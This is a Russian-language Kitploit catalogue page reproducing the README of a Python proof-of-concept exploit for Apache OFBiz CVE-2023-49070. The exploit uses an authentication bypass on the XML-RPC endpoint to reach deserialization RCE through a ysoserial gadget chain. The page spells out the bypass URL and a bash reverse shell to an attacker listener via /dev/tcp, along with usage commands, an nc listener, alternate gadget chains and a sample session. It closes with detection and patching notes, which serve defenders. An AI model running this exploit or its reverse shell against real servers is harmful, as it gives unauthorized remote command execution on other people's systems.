Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-49070 — Python PoC для Apache OFBiz CVE-2023-49070: обход аутентификации на /webtools/control/xmlrpc плюс цепочка гаджетов ysoserial для достижения десериализационного RCE до аутентификации. | Kitploit
Инструменты/GitHubGitHub/bardlaudian/cve-2023-49070
Оборонительные ИнструментыГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Python PoC для Apache OFBiz CVE-2023-49070: обход аутентификации на /webtools/control/xmlrpc плюс цепочка гаджетов ysoserial для достижения десериализационного RCE до аутентификации.

110 ч 53 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
РепозиторийСайт
Поделиться

ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC для pre-auth десериализационного RCE в Apache OFBiz XML-RPC, отслеживаемого как CVE-2023-49070: путь обхода аутентификации открывает доступ к устаревшей конечной точке /webtools/control/xmlrpc, которая десериализует контролируемый злоумышленником Java-объект, переданный внутри параметра <serializable> XML-RPC.

⚠️ Только для авторизованного тестирования безопасности. Запускайте это только против систем, которыми вы владеете или которые вам явно разрешено тестировать (CTF/лабораторные среды, проекты с подписанным скоупом и т.д.). Неавторизованный доступ к компьютерным системам незаконен в большинстве юрисдикций.

Уязвимость

Аутентификация view-map в Apache OFBiz обычно защищает /webtools/control/xmlrpc. Уязвимые версии (< 18.12.10) можно заставить пропустить эту проверку, добавив точку с запятой и определённые параметры запроса к пути:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

После достижения конечная точка принимает XML-RPC запросы. Java-реализация Apache XML-RPC поддерживает расширенный тип <serializable>: содержимое элемента декодируется из base64 и передаётся напрямую в — классическая небезопасная десериализация Java. При наличии подходящей цепочки гаджетов в classpath (этот PoC по умолчанию использует через ), это напрямую приводит к удалённому выполнению команд от имени пользователя ОС, запускающего OFBiz.

ObjectInputStream.readObject()
CommonsBeanutils1
ysoserial

Это то же семейство ошибок, что и более ранние CVE десериализации XML-RPC в OFBiz (например, родственный обход аутентификации в CVE-2023-51467); в OFBiz наблюдается повторяющийся паттерн пар «обход аутентификации + десериализация» на этой конечной точке, поэтому проверьте точный диапазон CVE/версий, применимый к вашей цели, прежде чем полагаться на этот PoC.

Что делает этот скрипт

  1. Собирает reverse shell bash -i >& /dev/tcp/LHOST/LPORT 0>&1, кодирует его в base64 и оборачивает в однострочник bash -c 'echo ... | base64 -d | bash' (обходит искажение shell-метасимволов далее по цепочке выполнения).
  2. Вызывает ysoserial для сборки сериализованной цепочки гаджетов (CommonsBeanutils1 по умолчанию, настраивается), которая выполняет этот однострочник.
  3. Кодирует байты гаджета в base64 и оборачивает их в XML-RPC полезную нагрузку <serializable>.
  4. Отправляет POST на TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. Сообщает HTTP-статус и отмечает, содержит ли тело ответа маркер ошибки OFBiz после десериализации (No such service) — это сигнал о том, что полезная нагрузка была обработана, а не доказательство выполнения кода.

Что этот скрипт НЕ делает

Он не может подтвердить, что вы получили shell — OFBiz в любом случае возвращает общую ошибку после запуска десериализации (сам метод XML-RPC, Dns, не существует как реальный сервис). Всегда держите слушатель запущенным и проверяйте его, а не только вывод консоли скрипта.

Требования

  • Python 3.8+, pip install requests --break-system-packages
  • Java (любая версия, совместимая с вашей сборкой ysoserial)
  • ysoserial-all.jar — соберите его самостоятельно из frohoff/ysoserial (mvn clean package -DskipTests) или возьмите релизный jar. Здесь не включён — это большой сторонний инструмент со своей лицензией.

Использование

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Сначала запустите слушатель:

root@kitploit:~
nc -lvnp 4444

Все опции

ФлагПо умолчаниюОписание
--target(обязательно)Базовый URL цели, например https://ofbiz.target.tld
--lhost(обязательно)IP вашего слушателя
--lport(обязательно)Порт вашего слушателя
--ysoserialysoserial-all.jarПуть к jar-файлу ysoserial
--gadgetCommonsBeanutils1Используемая цепочка гаджетов ysoserial
--java-binjavaВызываемый бинарник Java
--timeout15Таймаут HTTP-запроса (секунды)
--proxy(нет)Необязательный HTTP(S)-прокси, например для маршрутизации через Burp

Попробуйте другие цепочки гаджетов

CommonsBeanutils1 — классический выбор для OFBiz (в classpath поставляется commons-beanutils), но если он не срабатывает, встроенные библиотеки OFBiz поддерживают и другие цепочки. Просто замените --gadget:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Пример сессии

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Обнаружение и смягчение (заметки по защите)

  • Обновитесь до Apache OFBiz 18.12.10 или новее (или до текущего пропатченного релиза для вашей ветки) — это закрывает как путь обхода аутентификации, так и укрепляет десериализацию на конечной точке XML-RPC.
  • Отключите или ограничьте /webtools/control/xmlrpc, если вы не активно используете интеграцию XML-RPC; компонент webtools в целом является частой целью и не должен быть доступен из интернета без веской причины.
  • Фильтруйте сегменты пути с точкой с запятой на уровне WAF/обратного прокси как эшелонированную защиту — многие CVE обхода аутентификации в OFBiz используют этот трюк с ; против парсинга путей Java-сервлетами.
  • Укрепление десериализации: используйте фильтр десериализации с опережающим просмотром (ObjectInputFilter, доступен с JEP 290 / Java 9+) для блокировки известных классов цепочек гаджетов от создания, независимо от того, какая конечная точка запускает десериализацию.
  • Следите за: POST-запросами на */control/xmlrpc*, содержащими элементы <serializable>, неожиданными исходящими соединениями с хоста OFBiz и дочерними процессами, порождёнными Java-процессом, запускающим OFBiz.

Ссылки

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

Лицензия

MIT — см. LICENSE.

Скачать инструмент